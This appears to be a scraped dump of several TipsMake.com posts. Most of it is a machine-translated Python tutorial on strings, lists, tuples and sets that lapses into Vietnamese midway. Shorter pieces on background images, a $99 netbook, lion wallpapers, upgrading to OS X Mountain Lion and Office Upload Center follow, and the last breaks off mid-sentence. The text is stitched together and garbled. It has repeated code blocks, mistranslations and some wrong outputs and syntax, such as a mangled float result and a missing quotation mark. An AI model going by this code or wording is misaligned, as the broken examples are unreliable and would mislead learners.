order.\n# default(implicit) order thu_tu_mac_dinh = \"{}, {} và {}\".format('Quản','Trị','Mạng') print('n--- Thứ tự mặc định ---') print(thu_tu_mac_dinh) # sử dụng đối số vị trí để sắp xếp thứ tự vi_tri_thu_tu= \"{1}, {0} và {2}\".format('Quản','Trị','Mạng') print('n--- Thứ tự theo vị trí ---') print(vi_tri_thu_tu) # sử dụng từ khóa để sắp xếp thứ tự tu_khoa_thu_tu = \"{s}, {b} và {j}\".format(j='Quản',b='Trị',s='Mạng') print('n--- Thứ tự theo từ khóa ---') print(tu_khoa_thu_tu)  We have the results when running the above code as follows:\n--- Thứ tự mặc định --- Quản, Trị và Mạng --- Thứ tự theo vị trí --- Trị, Quản và Mạng --- Thứ tự theo từ khóa --- Mạng, Trị và Quản  The format () method can have optional format specifications. They are separated from the field name with a:. For example, you can align left or center ^ a string in the given space. It is possible to format integers such as binary and hexadecimal numbers; Decimals can be rounded or displayed in exponential form. There are many formats you can use.\n\u0026gt;\u0026gt;\u0026gt; # Định dạng số nguyên \u0026gt;\u0026gt;\u0026gt; \"Khi chuyển {0} sang nhị phân sẽ là {0:b}\".format(12) 'Khi chuyển 12 sang nhị phân sẽ là 1100' \u0026gt;\u0026gt;\u0026gt; # Định dạng số thập phân \u0026gt;\u0026gt;\u0026gt; \"Số thập phân {0} ở dạng mũ sẽ là {0:e}\".format(1566.345) 'Số thập phân 1566.345 ở dạng mũ sẽ là 1.566345e+03' \u0026gt;\u0026gt;\u0026gt; # Làm tròn số thập phân \u0026gt;\u0026gt;\u0026gt; \"1 phần 3 là: {0:.3f}\".format(1/3) '1 phần 3 là: 0.333' \u0026gt;\u0026gt;\u0026gt; # căn chỉnh chuỗi \u0026gt;\u0026gt;\u0026gt; \"|{:10}|\".format('Quản','Trị','Mạng') '|Quản | Trị | Mạng|'  Old style string format:\nYou can format the string in Python about sprintf () style used in programming language C with% operator.\n\u0026gt;\u0026gt;\u0026gt; x = 15.1236789 \u0026gt;\u0026gt;\u0026gt; print('Giá trị của x là %3.2f' %x) Giá trị của x là 15.12 \u0026gt;\u0026gt;\u0026gt; print('Giá trị của x là %3.4f' %x) Giá trị của x là 15.123712.3457  The method is often used in string There are many methods built into Python to work with strings. In addition to the format () mentioned above, there is lower (), upper (), join (), split (), find (), replace (), etc. .\n\u0026nbsp; \u0026gt;\u0026gt;\u0026gt; \"QuanTriMang.Com\".lower() 'quantrimang.com' \u0026gt;\u0026gt;\u0026gt; \"QuanTriMang.Com\".upper() 'QUANTRIMANG.COM' \u0026gt;\u0026gt;\u0026gt; \"Quan Tri Mang Chấm Com\".split() ['Quan', 'Tri', 'Mang', 'Chấm', 'Com'] \u0026gt;\u0026gt;\u0026gt; ' '.join(['Quan', 'Tri', 'Mang', 'Chấm', 'Com']) 'Quan Tri Mang Chấm Com'' \u0026gt;\u0026gt;\u0026gt; 'Quan Tri Mang Chấm Com'.find('Qua') 0 \u0026gt;\u0026gt;\u0026gt; 'Quan Tri Mang Chấm Com'.replace('Chấm','.') 'Quan Tri Mang . Com'  \u0026nbsp; 4. List (list) Python provides a variety of complex data, often called sequences, used to group different values. The most versatile is the list (list).\nHow to create lists in Python In Python, the list is represented by a series of values, separated by commas, within []. Lists may contain multiple items of different types, but usually items with the same type.\n\u0026gt;\u0026gt;\u0026gt; squares = [1, 4, 9, 16, 25] \u0026gt;\u0026gt;\u0026gt; squares [1, 4, 9, 16, 25]  List unlimited number of items, you can have many different data types in the same list, such as string, integer, decimal, .\nlist1 = [] # list rỗng list2 = [1, 2, 3] # list số nguyên list3 = [1, \"Hello\", 3.4] # list với kiểu dữ liệu hỗn hợp  You can also create nested lists (lists contained in the list), for example:\na = ['a', 'b', 'c'] n = [1, 2, 3] x = [a, n] print (x) # Output: [['a', 'b', 'c'], [1, 2, 3]] print (x[0]) # Output: ['a', 'b', 'c'] print(x[0][1]) # Output: b  Or declare a nested list from the beginning:\nlist4 = [mouse\", [8, 4, 6], ['a']]  Access the list element There are many different ways to access the element of a list:\nIndex (index) of the list:\nUse the index [] operator to access an element of the list. Index starts at 0, so a list with 5 elements will have an index of 0 to 4. Accessing an index element other than the index of the list will give rise to an IndexError error. Index must be an integer, cannot use float, or other data type, will create a TypeError error.\nqtm_list = ['q','u','a','n','t','r','i','m','a','n','g','.','c','o','m'] # TypeError: list indices must be integers or slices, not float # TypeError: index của list phải là số nguyên hoặc slice, không phải số thập phân qtm_list[2.0]  Nested lists can be accessed by nested index:\nqtm_list = ['q','u','a','n','t','r','i','m','a','n','g','.','c','o','m'] # Output: q print(qtm_list[0]) # Output: a print(qtm_list[2]) # Output: t print(qtm_list[4]) # List lồng nhau ln_list = [\"Happy\", [1,3,5,9]] # Index lồng nhau # Output: a print(ln_list[0][1]) # Output: 9 print(ln_list[1][3])  Negative Index:\nPython allows negative indexing for strings. Index -1 is the last element, -2 is the last element from the last. Simply said, index is negative when you count the element of the string backwards from the beginning to the beginning.\nqtm_list = ['q','u','a','n','t','r','i','m','a','n','g','.','c','o','m'] # Code by TipsMake.com # Output: m print(qtm_list[-1]) # Output: i print(qtm_list[-9])  Slicing lists in Python Python allows access to a range of elements of the list by using the slice operator: (colon). Every list cut action returns a new list containing the required elements.\nqtm_list = ['q','u','a','n','t','r','i','m','a','n','g','.','c','o','m'] # Code by TipsMake.com # Output: ['u', 'a', 'n', 't'] print(qtm_list[1:5]) # Output: ['q', 'u', 'a', 'n', 't', 'r', 'i'] print(qtm_list[:-8]) # Output: ['n', 'g', '.', 'c', 'o', 'm'] print(qtm_list[9:])  To slice the list, you only need to use the sign: between the two indexes to retrieve the elements. [1: 5] will take elements 1 to 5, [: -8] taken from 0 to -8, .\nIf the following cut action is performed, it will return a new list as a copy of the original list:\nqtm_list = ['q','u','a','n','t','r','i','m','a','n','g','.','c','o','m'] # Output: ['q', 'u', 'a', 'n', 't', 'r', 'i', 'm', 'a', 'n', 'g', '.', 'c', 'o', 'm'] print(qtm_list[:])  Change or add elements to the list List also supports operations like list join:\n\u0026gt;\u0026gt;\u0026gt; squares + [36, 49, 64, 81, 100] [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]  Unlike strings, fixed, the list is a data type that can be changed. For example, you can change items in the list:\n\u0026gt;\u0026gt;\u0026gt; cubes = [1, 8, 27, 65, 125] # có vẻ sai sai \u0026gt;\u0026gt;\u0026gt; 4 ** 3 # lập phương của 4 là 64, không phải 65! 64 \u0026gt;\u0026gt;\u0026gt; cubes[3] = 64 # thay thế giá trị sai \u0026gt;\u0026gt;\u0026gt; cubes [1, 8, 27, 64, 125]  You can also add new items to the end of the list using methods, such as append ():\n\u0026gt;\u0026gt;\u0026gt; cubes.append(216) # thêm lập phương của 6 \u0026gt;\u0026gt;\u0026gt; cubes.append(7 ** 3) # và lập phương của 7 \u0026gt;\u0026gt;\u0026gt; cubes [1, 8, 27, 64, 125, 216, 343]  Assigning slices can also be done and can even change the size of the list or delete it completely:\n\u0026gt;\u0026gt;\u0026gt; letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g'] \u0026gt;\u0026gt;\u0026gt; letters ['a', 'b', 'c', 'd', 'e', 'f', 'g'] \u0026gt;\u0026gt;\u0026gt; # thay thế vài giá trị \u0026gt;\u0026gt;\u0026gt; letters[2:5] = ['C', 'D', 'E'] \u0026gt;\u0026gt;\u0026gt; letters ['a', 'b', 'C', 'D', 'E', 'f', 'g'] \u0026gt;\u0026gt;\u0026gt; # giờ thì xóa chúng \u0026gt;\u0026gt;\u0026gt; letters[2:5] = [] \u0026gt;\u0026gt;\u0026gt; letters ['a', 'b', 'f', 'g'] \u0026gt;\u0026gt;\u0026gt; # xóa list bằng cách thay tất cả các phần tử bằng một list rỗng \u0026gt;\u0026gt;\u0026gt; letters[:] = [] \u0026gt;\u0026gt;\u0026gt; letters []  Wool functions () can also be applied to lists:\n\u0026gt;\u0026gt;\u0026gt; letters = ['a', 'b', 'c', 'd'] \u0026gt;\u0026gt;\u0026gt; len(letters) 4  Delete or remove an element from the list in Python You can delete one or more elements from the list using the del keyword, you can delete the list completely.\nmy_list = ['q','u','a','n','t','r','i','m','a','n','g','.','c','o','m'] # xóa phần tử có index là 2 del my_list[2] # Output: ['q', 'u', 'n', 't', 'r', 'i', 'm', 'a', 'n', 'g', '.', 'c', 'o', 'm'] print(my_list) # xóa phần tử có index từ 1 đến 7 del my_list[1:7] # Output: ['q', 'a', 'n', 'g', '.', 'c', 'o', 'm'] print(my_list) # xóa toàn bộ list my_list del my_list # Error: NameError: name 'my_list' is not defined print(my_list)  You can also use remove () to remove a given element or pop () to remove an element at a certain index. pop () removes the element and returns the last element if the index is not specified. This helps to deploy the list in the form of a stack (data structure first in last out - first, last).\nIn addition, the clear () method is also used to empty a list (deleting all elements in the list).\nmy_list = ['q','u','a','n','t','r','i','m','a','n','g','.','c','o','m'] my_list.remove('.') # Output: ['q', 'u', 'a', 'n', 't', 'r', 'i', 'm', 'a', 'n', 'g', 'c', 'o', 'm'] print(my_list) # Output: n print(my_list.pop(3)) # Output: ['q', 'u', 'a', 't', 'r', 'i', 'm', 'a', 'n', 'g', 'c', 'o', 'm'] print(my_list) # Output: m print(my_list.pop()) # Output: ['q', 'u', 'a', 't', 'r', 'i', 'm', 'a', 'n', 'g', 'c', 'o'] print(my_list) my_list.clear() # Output: [] (list rỗng) print(my_list)  The last way to delete elements in a list is to assign an empty list to the element slices.\n\u0026gt;\u0026gt;\u0026gt; my_list = ['q','u','a','n','t','r','i','m','a','n','g','.','c','o','m'] \u0026gt;\u0026gt;\u0026gt; my_list[11:15]=[] \u0026gt;\u0026gt;\u0026gt; my_list ['q', 'u', 'a', 'n', 't', 'r', 'i', 'm', 'a', 'n', 'g']  List method in Python The methods available for lists in Python include:\nappend () : Add an element to the end of the list. extend () : Add all elements of the current list to another list. insert () : Insert an element into the given index. remove () : Delete the element from the list. pop () : Delete the element from the list and return the element at the given index. clear () : Delete all elements of the list. index () : Returns the index of the first matching element. count () : Returns the number of counted elements in the list as an argument. sort () : Arrange the elements in the list in ascending order. reverse () : Reverse the order of elements in the list. copy () : Returns the copy of the list. For example:\nQTM = [9,8,7,6,8,5,8] # Output: 2 print(QTM.index(7)) # Output: 3 print(QTM.count(8)) QTM.sort() # Output: [5, 6, 7, 8, 8, 8, 9] print(QTM) QTM.reverse() # Output: [9, 8, 8, 8, 7, 6, 5] print(QTM)  Example 2:\nQTM = ['q','u','a','n','t','r','i','m','a','n','g','.','c','o','m'] # Output: 3 print(QTM.index('n')) # Output: 2 print(QTM.count('a')) QTM.sort() # Output: ['.', 'a', 'a', 'c', 'g', 'i', 'm', 'm', 'n', 'n', 'o', 'q', 'r', 't', 'u'] print(QTM) QTM.reverse() # Output: ['u', 't', 'r', 'q', 'o', 'n', 'n', 'm', 'm', 'i', 'g', 'c', 'a', 'a', '.'] print(QTM)  List comprehension: How to create a new list briefly List comprehension is an expression associated with a for statement that is enclosed in square brackets [].\nFor example:\ncub3 = [3 ** x for x in range(9)] # Output: [1, 3, 9, 27, 81, 243, 729, 2187, 6561] print(cub3)  The above code is equivalent to:\ncub3 = [] for x in range (9): cub3.append(3**x) print(cub3)  In addition to for, if can also be used in a list comprehension of Python. The if command can filter the elements in the current list to create a new list. Here is an example:\ncub3 = [3 ** x for x in range(9) if x \u0026gt; 4] # Output: [243, 729, 2187, 6561] print(cub3) so_le = [x for x in range (18) if x % 2 == 1] # Output: [1, 3, 5, 7, 9, 11, 13, 15, 17] print(so_le) noi_list = [x+y for x in ['Ngôn ngữ ','Lập trình '] for y in ['Python','C++']] # Output: ['Ngôn ngữ Python', 'Ngôn ngữ C++', 'Lập trình Python', 'Lập trình C++'] print(noi_list)  Check if the element is in the list Use the keyword in to check if an element is already in the list. If the element already exists, the result is True, and vice versa will return False.\nQTM = ['q','u','a','n','t','r','i','m','a','n','g','.','c','o','m'] # Output: True print('q' in QTM) # Output: True print('.' in QTM) # Output: False print('z' in QTM)  For loop in list Use the for loop to loop through the elements in the list as shown below:\nfor ngon_ngu in ['Python','Java','C']: print(\"Tôi thích lập trình\",ngon_ngu)  The result returned will be as follows:\nTôi thích lập trình Python Tôi thích lập trình Java Tôi thích lập trình C  Python functions integrated with the list Built-in Python functions like all (), any (), enumerate (), len (), max (), min (), list (), sorted (), . are often used with lists for real Show different tasks.\nall () : Returns true if all elements of the list are true or list empty. any () : Returns True when any element in the list is true. If the list is empty the function returns False. enumerate () : Returns the enumerate, containing index object and the value of all elements of the list as tuple. len () : Returns the length (number of elements) of the list. list () : Convert an object that can loop (tuple, string, set, dictionary) into a list. max () : Returns the largest element in the list. min () : Returns the smallest element in the list. sorted () : Returns the new sorted list. sum () : Returns the sum of all elements in the list. 5. Tuple Tuple in Python is a sequence of ordered elements like list. The difference between list and tuple is that we cannot change the elements in the tuple when assigned, but in the list, the elements can change.\nTuple is often used for data that does not allow modifications and is faster than lists because it cannot be changed automatically. A tuple is defined by parentheses (), elements in tuple are separated by commas (,).\nFor example:\nt = (10, \"quan tri mang\", 2j)  You can use the [] cut operator to extract the element in tuple but cannot change its value.\nt = (10, \"quan tri mang\", 2j) #t[0:2] = (10, 'quan tri mang') print(\"t[0:2] = \", t[0:2])  Run the above code we get the result:\nt[0:2] = (10, 'quan tri mang')  Where is Tuple more than the list? Because tuples and lists are quite similar, they are often used in similar situations. However, tuples still have certain advantages over the list, such as:\nTuple is often used for heterogeneous (different) data types and lists often use for identical (identical) data types. Since tuple cannot be changed, iterating through tuple elements is faster than list. So in this case, tuple is a bit more dominant than the list. Tuple contains unchanged elements, which can be used as keys for dictionary. With the list, this cannot be done. If there is data that does not change its deployment as a tuple, it will ensure that the data is write-protected. Create a tuple Tuple is created by placing all of its elements in parentheses (), separated by commas. You can remove parentheses if you want, but add it to make the code more clear.\nTuple is not limited to the number of elements and can have many different data types such as integers, decimals, lists, strings, .\n# Tuple rỗng # Output: () my_tuple = () print(my_tuple) # tuple số nguyên # Output: (2, 4, 16, 256) my_tuple = (2, 4, 16, 256) print(my_tuple) # tuple có nhiều kiểu dữ liệu # Output: (10, \"TipsMake.com\", 3.5) my_tuple = (10, \"TipsMake.com\", 3.5) print(my_tuple) # tuple lồng nhau # Output: (\"QTM\", [2, 4, 6], (3, 5, 7)) my_tuple = (\"QTM\", [2, 4, 6], (3, 5, 7)) print(my_tuple) # tuple có thể được tạo mà không cần dấu () # còn gọi là đóng gói tuple # Output: (10, \"TipsMake.com\", 3.5) my_tuple = 10, \"TipsMake.com\", 3.5 print(my_tuple) # mở gói (unpacking) tuple cũng có thể làm được # Output: # 10 # TipsMake.com # 3.5 a, b, c = my_tuple print(a) print(b) print(c)  Creating a tuple has only a little bit of a complicated element, if you create the usual way of putting that element in the sign () is not enough, you need to add a comma to indicate that this is tuple.\n# tạo tuple chỉ với () # Output: my_tuple = (\"TipsMake.com\") print(type(my_tuple)) # khi thêm dấu phẩy vào cuối # Output: my_tuple = (\"TipsMake.com\",) print(type(my_tuple)) # dấu () là tùy chọn, bạn có thể bỏ nếu thích # Output: my_tuple = \"TipsMake.com\", print(type(my_tuple)) # tạo tuple chỉ với () # Output: my_tuple = (\"TipsMake.com\") print(type(my_tuple)) # khi thêm dấu phẩy vào cuối # Output: my_tuple = (\"TipsMake.com\",) print(type(my_tuple)) # dấu () là tùy chọn, bạn có thể bỏ nếu thích # Output: my_tuple = \"TipsMake.com\", print(type(my_tuple)) # tạo tuple chỉ với () # Output: my_tuple = (\"TipsMake.com\") print(type(my_tuple)) # khi thêm dấu phẩy vào cuối # Output: my_tuple = (\"TipsMake.com\",) print(type(my_tuple)) # dấu () là tùy chọn, bạn có thể bỏ nếu thích # Output: my_tuple = \"TipsMake.com\", print(type(my_tuple)) # tạo tuple chỉ với () # Output: my_tuple = (\"TipsMake.com\") print(type(my_tuple)) # khi thêm dấu phẩy vào cuối # Output: my_tuple = (\"TipsMake.com\",) print(type(my_tuple)) # dấu () là tùy chọn, bạn có thể bỏ nếu thích # Output: my_tuple = \"TipsMake.com\", print(type(my_tuple))  Access the elements of tuple There are many different ways to access the elements of a tuple, quite similar to the list, so I don't take specific examples, you can review the list of the list.\nIndex: Sử dụng toán tử index [] để truy cập vào phần tử trong tuple với index bắt đầu bằng 0. Nghĩa là nếu tuple có 6 phần tử thì index của nó sẽ bắt đầu từ 0 đến 5. Nếu cố gắn truy cập đến index 6, 7 thì sẽ tạo lỗi IndexError. Index bắt buộc phải là số nguyên, mà không thể là số thập phân hay bất kỳ kiểu dữ liệu nào khác, nếu không sẽ tạo lỗi TypeError. Những tuple lồng nhau được truy cập bằng cách sử dụng index lồng nhau:\n# tuple lồng nhau n_tuple = (\"TipsMake.com\", [2, 6, 8], (1, 2, 3)) # index lồng nhau # Output: 'r' print(n_tuple[0][5]) # index lồng nhau # Output: 8 print(n_tuple[1][2])  Index âm: Python cho phép lập chỉ mục âm cho các đối tượng dạng chuỗi. Index -1 tham chiếu đến phần tử cuối cùng, -2 là thứ 2 tính từ cuối tính lên.\nCắt lát: Có thể truy cập đến một loạt phần tử trong tuple bằng cách sử dụng toán tử cắt lát : (dấu 2 chấm).\nThay đổi một tuple Không giống như list, tuple không thể thay đổi. Điều này có nghĩa là các phần tử của một tuple không thể thay đổi một khi đã được gán. Nhưng, nếu bản thân phần tử đó là một kiểu dữ liệu có thể thay đổi (như list chẳng hạn) thì các phần tử lồng nhau có thể được thay đổi. Chúng ta cũng có thể gán giá trị khác cho tuple (gọi là gán lại - reassignment).\nmy_tuple = (1, 3, 5, [7, 9]) # không thể thay đổi phần tử của tuple # Nếu bạn bỏ dấu # ở dòng 8 # Bạn sẽ nhận được lỗi: # TypeError: 'tuple' object does not support item assignment #my_tuple[1] = 9 # Nhưng phần tử có index 3 trong tuple là list # list có thể thay đổi, nên phần tử đó có thể thay đổi # Output: (1, 3, 5, [8, 9]) my_tuple[3][0] = 8 print(my_tuple) # Nếu cần thay đổi tuple hãy gán lại giá trị cho nó # Output: ('q', 'u', 'a', 'n', 't', 'r', 'i', 'm', 'a', 'n', 'g') my_tuple = ('q', 'u', 'a', 'n', 't', 'r', 'i', 'm', 'a', 'n', 'g') print(my_tuple)  Bạn có thể dùng toán tử + để nối 2 tuple, toán tử * để lặp lại tuple theo số lần đã cho. Cả + và * đều cho kết quả là một tuple mới.\n# Nối 2 tuple # Output: (2, 4, 6, 3, 5, 7) print((2, 4, 6) + (3, 5, 7)) # Lặp lại tuple # Output: ('TipsMake.com', 'TipsMake.com', 'TipsMake.com') print((\"TipsMake.com\",) * 3)  Xóa tuple Các phần tử trong tuple không thể thay đổi nên chúng ta cũng không thể xóa, loại bỏ phần tử khỏi tuple. Nhưng việc xóa hoàn toàn một tuple có thể thực hiện được với từ khóa del như dưới đây:\nQTM = ['q','u','a','n','t','r','i','m','a','n','g','.','c','o','m'] # Không thể xóa phần tử của tuple # Nếu bạn bỏ dấu # ở dòng 8, # sẽ tạo ra lỗi: # TypeError: 'tuple' object doesn't support item deletion #del QTM[3] # Có thể xóa toàn bộ tuple # Kết quả chạy code sẽ hiện ra lỗi: # NameError: name 'my_tuple' is not defined del QTM QTM  Phương thức và hàm dùng với tuple trong Python Phương thức thêm phần tử và xóa phần tử không thể sử dụng với tuple, chỉ có 2 phương thức sau là dùng được:\ncount(x) : Đếm số phần tử x trong tuple. index(x) : Trả về giá trị index của phần tử x đầu tiên mà nó gặp trong tuple. QTM = ['q','u','a','n','t','r','i','m','a','n','g','.','c','o','m'] # Count # Output: 2 print(QTM.count('m')) # Index # Output: 3 print(QTM.index('n'))  Các hàm dùng trong tuple khá giống với list, gồm có:\nall() : Trả về giá trị True nếu tất cả các phần tử của tuple là true hoặc tuple rỗng. any() : Trả về True nếu bất kỳ phần tử nào của tuple là true, nếu tuple rỗng trả về False. enumerated() : Trả về đối tượng enumerate (liệt kê), chứa cặp index và giá trị của tất cả phần tử của tuple. len() : Trả về độ dài (số phần tử) của tuple. max() : Trả về phần tử lớn nhất của tuple. min() : Trả về phần tử nhỏ nhất của tuple. sorted() : Lấy phần tử trong tuple và trả về list mới được sắp xếp (tuple không sắp xếp được). sum() : Trả về tổng tất cả các phần tử trong tuple. tuple() : Chuyển đổi những đối tượng có thể lặp (list, string, set, dictionary) thành tuple. Kiểm tra phần tử trong tuple Bạn có thể kiểm tra xem một phần tử đã tồn tại trong tuple hay chưa với từ khóa in.\nQTM = ['q','u','a','n','t','r','i','m','a','n','g','.','c','o','m'] # Kiểm tra phần tử # Output: True print('a' in QTM) # Output: False print('b' in QTM) # Not in operation # Output: False print('g' not in QTM)  Lặp qua các phần tử của tuple trong Python Sử dụng vòng lặp for để lặp qua các phần tử trong tuple.\nfor ngon_ngu in ('Python','C++','Web'): print(\"Tôi thích lập trình\",ngon_ngu)  Kết quả trả về sẽ như sau:\nTôi thích lập trình Python Tôi thích lập trình C++ Tôi thích lập trình Web  6. Set Set trong Python là tập hợp các phần tử duy nhất, không có thứ tự. Các phần tử trong set phân cách nhau bằng dấu phẩy và nằm trong dấu ngoặc nhọn {}. Nhớ kỹ rằng các phần tử trong set không có thứ tự. Nhưng các phần tử trong set có thể thay đổi, có thể thêm hoặc xóa phần tử của set. Set có thể được sử dụng để thực hiện các phép toán như tập hợp, giao,.\nCách tạo set Set được tạo bằng cách đặt tất cả các phần tử trong dấu ngoặc nhọn, phân tách bằng dấu phẩy hoặc sử dụng hàm set(). Set không giới hạn số lượng phần tử, nó có thể chứa nhiều kiểu biến khác nhau, nhưng không thể chứa phần tử có thể thay đổi được như list, set hay dictionary.\nVí dụ về set:\n a = {5,2,3,1,4}  Nếu thực hiện lệnh in như sau:\n print(\"a=\", a) ncG1vNJzZmismaXArq3KnmWcp51kvbrAx6ilZpyRqa5uwNipnGarpKe2r7OMp6ymmpWneq210q1kra2gobJuv8StZJqmlGKxqq%2FToqanmaKu\n","link":"/post/string-number-list-tuple-set-and-dictionary/","section":"post","tags":null,"title":"string, number, list, tuple, set and dictionary"},{"body":"Background templates always bring in certain functions according to different cases. Background images are a simple, harmonious combination of colors and image layouts. Background sets are always designed to be as simple as possible and have plenty of room to create your own layout. In this article, Software Tips will send you the most beautiful white background synthesis images.\n    Photo Background white 6016x4016\n  Photo Background most beautiful white background 4464x3629\n  Photo Background beautiful white background 3647x3648\n  Photo Background simple white background 4476x2984\n  Basic white background 2841x4262\n  Beautiful white background 3996x2668\n  Red white background 6000x4000\n  Beautiful simple white background 2362x3543\n  Simple white background 4000x6000\n  Modern white background ddepk 2362x3543\n  The most beautiful simple modern white background 4700x3200\n  Modern white background 5785x3857\n  Beautiful bright white background 3499x2333\n  Modern bright white background 4928x2677\n  Luxury white background 3721x3721\n  Bright white background 3584x2389\n  Bright white background 2154x2153\n  Background with white trees 4734x3156\n  Background with white birds background 5472x3648\n  Background beautiful white background 3557x5435\n  Beautiful simple white background background 4822x3142\n  Simple white background background 3984x2656\n  Simple white background background 6000x4000\n  Modern white background background 4608x3456\n  Floral background with white background 3024x4032\n  Luxury modern white background background 5184x3456\n  Luxury white background background 5415x3615\n  Background white background 3456x4343\n  Background white sky 6016x4016\n  Beautiful white background 4928x3264\n  Beautiful simple white background 6667x10000\n  Modern simple white background 3500x2333\n  Simple white background 2710x1795\n  Beautiful white background 3984x2656\n  White wall background 3817x2726\n  Beautiful simple Background images 2803x1870\n  Beautiful Background image 4288x2848\n  The most beautiful simple Background images 5950x3967\n  The most beautiful white background image 2185x3059\n  Beautiful white Background image 3556x4741\n  The most beautiful simple white Background images 2942x4119\n  Beautiful simple white Background image 3108x4662\n  Simple white Background image 3509x5263\n  Modern white background image 4550x3033\n  Super modern white background image 3560x5340\n  Beautiful white Background image 6720x4480\n  White Background image 4500x3000\n  The most beautiful white background image 5023x3349\n  Background image simple white background 4272x2848\n  Background image white background 2741x3657\nIn the article is a collection of images that synthesize the most beautiful white background today and completely free. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwLq606GcrKGjYrynedOhnGaln6jBbq7EmqytoZaquW7Dx6KrnmWSlrCss9GorKec\n","link":"/post/synthesis-of-the-most-beautiful-white-background/","section":"post","tags":null,"title":"Synthesis of the most beautiful white Background"},{"body":"Cherrypal Africa is the first laptop in the world to sell for less than 100 USD.\n We have heard about a $ 100 laptop project for children in developing countries for several years, but so far no products have been sold for less than $ 100.\nCherrypal has just launched the first netbook called Cherrypal Africa, which sells for 99 USD designed for web surfing needs. This product uses a 7-inch screen, integrated 400-MHz processor, 256 MB RAM and 2 GB flash storage drive. Buyers can choose either operating system Linux or Windows CE. This is a product for African markets, but Cherrypal believes that their $ 99 netbook will have a place in the developed countries' market. Cherrypal currently has offices in Palo Alto, California (USA) and Hong Kong, which are part of Tristate Hong Kong Group Limited. This is not the first time Cherrypal has launched a super low-cost netbook. In July 2008, the company introduced the world's cheapest laptop, the Impulse NPX-9000, for $ 139. However, that price is only for those who buy 100 or more products.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2Bgq6ukYoZ6edSsm2akkaXBsLyMoqVmrJiaeri70aWb\n","link":"/post/the-first-99-usd-laptop-in-the-world/","section":"post","tags":null,"title":"The first 99 USD laptop in the world"},{"body":"If the tiger is known as the lord of the green forest, the lion is dubbed the lord of the king (King of Beats) or the Lion King (Lion King) this is one of the giants in the cat family and is a species of newspaper.\nImages of wild lions symbolizing courage, pride, and strength. They have been used as a symbol of the Royal Family for a long time.\nIn the previous posts, the Network Administrator sent you to read a set of animal themes, tigers, wolves . followed by a series of articles on this topic, in the article below them. I will give you the most beautiful and sharpest collection of lion images for you to admire and download. What are you waiting for, download beautiful lion image to your computer immediately.\nIn the article below, the set of wallpapers has been reduced in size for you to read easily. If you want to download more high quality images, please read the link at the end of the article.\nThe cutest panda wallpaper set for computers Beautiful, lovely monkey monkey wallpaper for computer The most cute and adorable set of cat wallpapers To download more high quality wallpapers with lion themes. Please read the link below to download.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jJ%2BspaRdnbFuuMiopWavkaG5sa3Pnqlmnp%2BneqS7zKmsrZ2iqA%3D%3D\n","link":"/post/top-full-hd-lion-wallpaper-for-computers/","section":"post","tags":null,"title":"Top full HD lion wallpaper for computers"},{"body":"TipsMake.com - If you own a Mac, the latest OSX version, Mountain Lion is now available on the App Store. Here's how to upgrade from Lion to Mountain Lion.\nCan the Mac run Mountain Lion? If the Mac is using Lion operating system, it can upgrade to the Mountain Lion. But if you're not sure, here is a list of Mountain Lion support machines from apple.com:\niMac (version from mid 2007 and above). MacBook (aluminum shell version end of 2008 or early 2009 or earlier). MacBook Air (last version 2008 and above). Mac mini (early version 2009 and above). Mac Pro (early version 2008 and above). Xserve (original version 2009). General requirements From OS X 10.6.8 and above, minimum RAM of 2GB, 8GB of minimum hard drive, has Apple ID and Internet connection. Users can see more details from the Mountain Lion Tech Specs OS X.\nPrepare before updating First of all, make sure the Mac is fully updated and run OS X 10.7.4 Lion. Click on the Apple icon and About This Mac . Users will receive a screen that lists basic information about their device.\n  Click More Info for more details about the device. As you can see, the article uses the Mac Mini Mid 2010 with Intel Core 2 Duo chip, 8GB of RAM and running OS X Lion 10.7.4 (11E23). Click Check for Updates .\n  Then install any updates to the software on your computer if available.\n  After the OS is completely updated, open the Mac App Store and check for updates for the installed application. For example, there is an update on the device, iPhoto.\n  This update will take several minutes to update as it has more than 1GB capacity.\n  After the update is complete, backup important data.\n  Install OS X Mountain Lion After the OS and applications have been updated, launch the Mac App Store and download OS X Mountain Lion ($ 19.99 for the upgrade).\n  A Mountain Lion icon will appear in Launchpad when it is loaded. Users should plug in an Ethernet cable rather than upgrade via WiFi.\n  The installation is very easy. Agree with the EULA then the system will restart automatically and complete the installation process.\n    After restarting, we will see an OS X installation screen and a progress bar. The installation process takes a while.\nAfter Mountain Lion has been installed, there may be an incompatible software warning installed on the device as follows.\n  This incompatible software is also displayed from icons on the Dock. For example, in this article, Parallels Desktop 6.0 cannot run on Mountain Lion.\n  The software is transferred to a folder named Incompatible Software on the drive.\n  Remember that before upgrading to Mountain Lion, check to make sure important programs are compatible with the new OS.\nOften middleware developers need time to adapt to the latest OS. It may take several weeks or even months before an upgrade for the program. Some programs will stop working and others may update or need to upgrade to the latest version. If this is your only Mac, wait a few more weeks until the first update for Mountain Lion is released before upgrading.\n  Also note that Office for Mac 2011 still works but there are a few important updates that have appeared. If Microsoft AutoUpdate is enabled, it will notify you so you can install a new AutoUpdate version.\nOr you can also check for manual updates. Open an application like World for Mac and click Help and then click Check for Updates .\n  The machine then checks for updates and will find the 14.2.3 update for Office 2011.\n  If you are sure everything is okay and have a reliable backup, then upgrade and enjoy this new Mac OS.\n  ncG1vNJzZmismaXArq3KnmWcp51kwrGz0ZqbnmWfqHq5ecuipqdlpKR6tbTEZqSorZ6prqq6jKWgqKY%3D\n","link":"/post/upgrade-os-x-lion-to-the-mountain-lion/","section":"post","tags":null,"title":"Upgrade OS X Lion to the Mountain Lion"},{"body":"Office Upload Center is part of Microsoft Office. After you install Microsoft Office on Windows, you will see a small orange icon located on the system tray. This icon is the Microsoft Office Upload Center feature, but if you do not use this feature, you can disable it to free memory.\n  1. What is the mission of the Microsoft Office Upload Center? Suppose when you save a Microsoft Office file to OneDrive or SharePoint, Office does not save these files directly to the server. Instead Office saves the file to the Office document cache on your computer, then downloads the file from the cache onto the server and handles any connection problems or conflict issues.\nFor example, if the Internet connection you are using is \"quite slow\", you can save these files on a remote server, Office will download these files after the network connection is stable.\nIf there is any problem in downloading the file, Office can save the local copy (local copy) and download these files after the problem is resolved.\nIf the remote server has a problem, Office can save the local file and download these files when the server is online.\nThe Office Upload Center helps you see how to view file downloads and interact with these activities. This tool is extremely useful in some cases when something goes wrong.\nIf there are any problems, you will receive a message to be able to find a solution, fix it.\nIn addition, you can view the process of downloading the file, the process of 